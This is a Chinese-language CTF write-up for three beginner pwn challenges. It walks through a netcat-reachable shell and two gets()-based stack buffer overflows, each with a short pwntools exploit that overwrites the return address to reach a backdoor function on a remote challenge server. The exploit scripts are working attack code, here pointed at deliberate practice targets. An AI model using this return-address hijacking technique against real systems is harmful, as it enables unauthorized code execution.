第一题,
让我们把文件放入ida中,找到main函数,f5观看反汇编伪代码,你会发现
这会使在Linux中打开一个新的shell进程(相当于Windows系统命令行)
搜索资料,得知需要用kali系统,运用nc命令输出(ip地址加端口号,注意中间没冒号),ls命令,发现flag,于是cat flag得到
完成!
第二题.
首先下载好文件,
放入exeinfope上可以检测一下
发现是64字节,放入idax64中:
main伪代码
一看见gets,知道有溢出风险
所以我们现在就是输入一串字符串使栈溢出后同时,传入我们需要fun函数的地址
接下来是找main函数被分配了多少个字节,以及RBP的8字节,
观察ida
除去定义s的,代码为其分配了15个字节的空间
写一个python代码(网上借鉴的)
from pwn import *
p=remote("node4.buuoj.cn",25851)
payload=b'a'*(15+8)+p64(0x401186+1) #使文件溢出到函数fun的返回地址
p.sendline(payload)
p.interactive()
把他放到有pwn工具的虚拟机上
cat flag
得出flag!
第三题:
同样先把文件放到exeinfo上看一遍,发现是64位,放入idax64:
搜索后可以发现
后门函数中运行的地址在0x000400611
main函数中字符分配到的地址:
从40
到80
最后,编写exp
from pwn import *
p=remote("node4.buuoj.cn",25851)
payload=b'a'*(0x40+8)+p64(0x400611+1)
p.sendline(payload)
p.interactive()
使用pwn工具
直接出现flag: